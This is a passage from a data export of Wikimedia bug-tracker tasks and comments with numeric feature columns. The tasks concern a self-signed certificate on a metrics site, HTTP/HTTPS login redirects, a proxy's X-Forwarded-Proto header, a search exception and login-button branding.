Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work."
55892,metrics.wmflabs.org got an invalid certificate,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.

Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378554540,1379365807.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_description,resolved,True,c3,1,True,False,True,-95,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.75,0.6590909090909091,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.

Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs

--------------------------
**Version**: unspecified
**Severity**: normal"
245774,metrics.wmflabs.org got an invalid certificate,We are now using a non-self signed certificate.,,,1379365807,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,We are now using a non-self signed certificate.
245767,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
https://mingle.corp.wikimedia.org/projects/analytics/cards/1140",,,1378762595,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6923076923076925,1.0,"Prioritization and scheduling of this bug is tracked on Mingle card
URL"
245759,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
https://mingle.corp.wikimedia.org/projects/analytics/1140",,,1378762337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6923076923076925,1.0,"Prioritization and scheduling of this bug is tracked on Mingle card
URL"
245752,metrics.wmflabs.org got an invalid certificate,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.,,,1378680512,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,8.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,4.717948717948718,0.8461538461538461,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.
245745,metrics.wmflabs.org got an invalid certificate,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation.",,,1378680428,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.6923076923076923,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation."
245739,metrics.wmflabs.org got an invalid certificate,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access.",,,1378585685,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8823529411764706,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access."
245733,metrics.wmflabs.org got an invalid certificate,On a mingle card? Are you joking me?,,,1378585622,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,2.9,0.9,On a mingle card? Are you joking me?
245730,metrics.wmflabs.org got an invalid certificate,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics//1140,,,1378556187,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
55703,Google points to HTTP articles (where users cannot log in),"**Author:** `winne2i`

**Description:**
After recent changes in HTTP/HTTPS logging in for users there's a problem*.
Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
I see some solution in bug 51002 ?

*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378208820,1378280142.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_description,declined,True,c3,1,False,False,True,-96,True,1.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.5,1.0,0.0,3.0,11.5,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,11.0,1.5,2.5,3.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,11.5,5.5,1.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,3.6864406779661016,0.7203389830508474,"**Author:** CODE

**Description:**
After recent changes in HTTP/HTTPS logging in for users there's a problem*.
Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
I see some solution in bug 51002 ?

*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).

--------------------------
**Version**: unspecified
**Severity**: normal"
234430,Google points to HTTP articles (where users cannot log in),"**winne2i** wrote:

Gosh, it works today… I don't know why it didn't two previous times.
Shame on it. Shame on me.
Consider thus bug resolved. Thanks!",,,1378280142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c3,1,False,,,-96,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,12.0,5.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.9767441860465116,0.7209302325581395,"**winne2i** wrote:

Gosh, it works today… I don't know why it didn't two previous times.
Shame on it. Shame on me.
Consider thus bug resolved. Thanks!"
234424,Google points to HTTP articles (where users cannot log in),"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <http://thread.gmane.org/gmane.org.wikimedia.foundation/68103>.

If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)",,,1378278927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c3,1,False,,,-96,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,4.0,14.0,4.0,1.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,1.0,4.032258064516129,0.7526881720430108,"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <URL

If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)"
55689,Tool Labs: Local webservice should know about HTTPS in original request,"See https://tools.wmflabs.org/liangent-php/detectProtocol.php/enwiki

Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=64627",Needs Triage,90.0,1378155000,1398826831.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-iztdhvta2ukuhruf37gl,task_description,resolved,True,c3,1,False,False,True,-96,True,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.543859649122807,0.5964912280701754,"See URL

Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
233510,Tool Labs: Local webservice should know about HTTPS in original request,Seems fixed,,,1398826759,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Seems fixed
233506,Tool Labs: Local webservice should know about HTTPS in original request,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.

https://tools.wmflabs.org/blankpages/_server.php

    [HTTP_X_FORWARDED_PROTO] => http",,,1395022517,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.151515151515151,0.9393939393939394,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.

URL

    [HTTP_X_FORWARDED_PROTO] => http"
233501,Tool Labs: Local webservice should know about HTTPS in original request,"And indeed, it was.  The X-Forwarded-Proto header should now be present.",,,1386607467,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.8947368421052632,"And indeed, it was.  The X-Forwarded-Proto header should now be present."
233494,Tool Labs: Local webservice should know about HTTPS in original request,Hm; that should be simple enough actually.  Lemme see what I can do.,,,1386604405,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.9411764705882353,Hm; that should be simple enough actually.  Lemme see what I can do.
233487,Tool Labs: Local webservice should know about HTTPS in original request,"Is it possible to configure the proxy to add X-Forwarded-Proto, like http://www.geekisp.com/faq/6_65_en.html ?",,,1386603359,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"Is it possible to configure the proxy to add X-Forwarded-Proto, like URL ?"
233479,Tool Labs: Local webservice should know about HTTPS in original request,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application.",,,1378156940,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,True,,,-96,True,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.46,0.84,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application."
233472,Tool Labs: Local webservice should know about HTTPS in original request,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it),,,1378155765,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c3,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.178571428571429,0.9642857142857143,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it)
891,"Unhandled Exception (""HTTPFutureHTTPResponseStatus"")","https://bugzillapreview.wmflabs.org/search/query/open-tasks/ gives:

Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
[HTTP/400] {""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[kVa6pnbJSEyw1PlUSHyE1A][phabricator][0]: SearchParseException[[phabricator][0]: query[ConstantScore(+cache(BooleanFilter(_field_names:relationship.open.phid)))],from[-1],size[-1]: Parse Failure [Failed to parse source [{\""query\"":{\""filtered\"":{\""query\"":{\""match_all\"":{}},\""filter\"":{\""and\"":[{\""exists\"":{\""field\"":\""relationship.open.phid\""}}]}}},\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""si...",Needs Triage,90.0,1414233135,1414250255.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-imqcon4kjw7pbthjzfjx,task_description,duplicate,True,c3,1,True,False,True,-36,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.5967741935483871,"URL gives:

Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
Unhandled Exception (""HTTPFutureHTTPResponseStatus"")
[HTTP/400] {""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[kVa6pnbJSEyw1PlUSHyE1A][phabricator][0]: SearchParseException[[phabricator][0]: query[ConstantScore(+cache(BooleanFilter(_field_names:relationship.open.phid)))],from[-1],size[-1]: Parse Failure [Failed to parse source [{\""query\"":{\""filtered\"":{\""query\"":{\""match_all\"":{}},\""filter\"":{\""and\"":[{\""exists\"":{\""field\"":\""relationship.open.phid\""}}]}}},\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""si..."
543,Wikimedia name and logo in Wikimedia SUL login button,"In https://phabricator.wikimedia.org/auth/start/ the current button says ""MediaWiki login"" and features the MediaWiki sunflower.

Since this is in fact a Wikimedia login, it would be consistent to show ""Wikimedia"" and the [[ https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg | Wikimedia logo ]].

Proposing this task as pre-Day 1 because it is related with the ""out of the box experience"", where it is worth polishing these details.",Needs Triage,90.0,1412363601,1412413111.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_description,declined,True,c3,1,True,True,True,-39,True,0.0,0.0,0.0,1.0,0.0,5.0,4.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,14.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,12.0,8.0,0.0,8.0,0.0,4.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,3.727272727272727,0.6623376623376623,"In URL the current button says ""MediaWiki login"" and features the MediaWiki sunflower.

Since this is in fact a Wikimedia login, it would be consistent to show ""Wikimedia"" and the [[ URL | Wikimedia logo ]].

